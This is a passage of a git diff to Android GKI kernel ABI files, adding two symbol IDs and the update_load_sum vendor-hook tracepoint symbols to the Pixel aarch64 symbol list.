"__tracepoint_android_rvh_update_misfit_status" @@ -397085,6 +397111,7 @@ interface { symbol_id: 0xa63eb82a symbol_id: 0xcd824552 symbol_id: 0xb6d1fa25 + symbol_id: 0x6fdb7fd2 symbol_id: 0x16809a5a symbol_id: 0xfaa2e0a4 symbol_id: 0xc1ba0eb6 @@ -397523,6 +397550,7 @@ interface { symbol_id: 0xc3add2dc symbol_id: 0xdc2af26c symbol_id: 0xcc5017b7 + symbol_id: 0x51c819cc symbol_id: 0x1362c5b0 symbol_id: 0xaa2da792 symbol_id: 0x0e614ab0 diff --git a/android/abi_gki_aarch64_pixel b/android/abi_gki_aarch64_pixel index 33eb40d3a41f..45a5c3b85377 100644 --- a/android/abi_gki_aarch64_pixel +++ b/android/abi_gki_aarch64_pixel @@ -2188,6 +2188,7 @@ __traceiter_android_rvh_uclamp_eff_get __traceiter_android_rvh_update_blocked_fair __traceiter_android_rvh_update_load_avg + __traceiter_android_rvh_update_load_sum __traceiter_android_rvh_update_misfit_status __traceiter_android_rvh_update_rt_rq_load_avg __traceiter_android_rvh_util_fits_cpu @@ -2293,6 +2294,7 @@ __tracepoint_android_rvh_uclamp_eff_get __tracepoint_android_rvh_update_blocked_fair __tracepoint_android_rvh_update_load_avg + __tracepoint_android_rvh_update_load_sum __tracepoint_android_rvh_update_misfit_status __tracepoint_android_rvh_update_rt_rq_load_avg __tracepoint_android_rvh_util_fits_cpu